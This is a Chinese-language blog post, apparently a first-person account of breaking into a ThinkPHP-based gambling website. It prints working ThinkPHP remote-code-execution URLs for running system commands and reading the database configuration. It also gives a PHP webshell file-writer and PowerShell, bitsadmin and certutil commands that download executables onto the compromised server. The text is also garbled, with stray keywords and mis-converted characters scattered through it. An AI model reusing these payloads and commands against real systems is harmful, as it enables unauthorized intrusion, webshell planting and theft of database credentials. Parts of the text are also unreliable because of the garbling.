对某菠菜网站的一次渗透测试

前言

无心间发现一个thinkphp的菠菜站,最近tp不是恰好有个漏洞吗?
而后就顺手测试了一下,但过程并不太顺利,不过最后仍是拿下了,因此特发此文分享下思路。php

0x00 一键getshell?

简单看了下,应该有很多人玩吧?html

正好前几天写了个测试工具,先掏出来测试一发。python

工具显示存在漏洞web

一键getshell,看起来很顺利的样子,哈哈。thinkphp

可是...小明甩了下头发,发现事情并不简单。shell

菜刀链接的时候,返回500错误。
数据库

咱们用火狐的hackbar验证下,没毛病啊,那为何菜刀链接不上呢?
做为菜逼的我不由陷入了沉思...django

0x01 开始分析

由于这个工具我本身写的,从上面getshell的图片中发现调用的是第三个exp,那么咱们来分析下看看。服务器

poc以下
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dirmarkdown

咱们在poc后面输入whoami看看权限。

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

iis权限
可是能够执行部分命令,好比echo dir等等。

0x02 尝试突破拿shell

既然能够执行echo 那么咱们能够来尝试写入个小马试试,若是成功的话,再利用小立刻传大马,说干就干,苦活来了,咱们得一行一行写入进去。

注意:代码中的<>符号,要用^^转义。好比<?php转义为^<^?php

<?php header("content-Type: text/html; charset=gb2312"); if(get_magic_quotes_gpc()) foreach($_POST as $k=>$v) $_POST[$k] = stripslashes($v); ?> <form method="POST"> 保存文件名: <input type="text" name="file" size="60" value="<? echo str_replace('\\','/',__FILE__) ?>"> <br><br> <textarea name="text" COLS="70" ROWS="18" ></textarea> <br><br> <input type="submit" name="submit" value="保存"> <form> <?php if(isset($_POST['file'])) { $fp = @fopen($_POST['file'],'wb'); echo @fwrite($fp,$_POST['text']) ? '保存成功!' : '保存失败!'; @fclose($fp); } ?> 

逐行写入完成后,访问的时候发现并不能正常运行,这里忘记截图了。。

接下来尝试用如下方法下载文件到服务器上也失败了。

powershell下载
注意:内核5.2如下版本可能无效 powershell (new-object System.Net.WebClient).DownloadFile( 'http://192.168.174.145/ssss2.exe','C:\ssss2.exe') bitsadmin下载 bitsadmin /transfer n http://baidu.com/PSTools.zip  C:\PSTools.zip 注意:不支持https、ftp协议,使用kali的simplehttpserver做服务器会报错

正当我打算放弃的时候,我想起来还有个下载的命令没用。
那就是certutil.exe
说干就干,把大马放到咱们服务器上,开启HFS。
而后执行如下命令。

certutil.exe  -split -ur"lc"ache -f  http://ww.baidu.com/svchost.exe  svchost.exe

成功进入大马,不过别高兴太早。

小明再次甩了下头发,发现事情更不简单....

大马能够操做文件上传更名等等,可是没法编辑文件,没法查看文件源码等等,点开显示一片空白。

既然这样,那么咱们进数据库看看吧。
咱们都知道tp的数据库配置文件在如下这个位置

/application/database.php

大马是没法打开了,那么咱们能够用tp的命令执行漏洞尝试用type命令去读取这个文件。

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=type c:\www\application\database.php

尝试type读取失败,而后又想到copy命令。
把database.php拷贝到web根目录下,更名为1.txt

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=copy c:\www\application\database.php c:\www\public\1.txt

拷贝完成之后访问url/1.txt,发现里面是空的。

0x03 成功突破

经历了一系列的失败后,我冷静下来想了下,咱们还能够用file_path去读取源码试试。

<?php

用大立刻传这个文件到根目录下,而后访问,成功拿到数据库配置信息。

而后填写好配置信息,进入数据库。

此文写到这里已经夜深人静,看着桌子上吃了一半的泡面,最后喝了两口汤,关机,睡觉......

后记

本文纯属虚构,若有雷同,拒绝查水表。

tp5测试工具我更新了下,添加了3个getshell方法。
回复便可下载。

免责声明:工具只能用于测试漏洞,禁止用于非法用途,不然一切后果自负。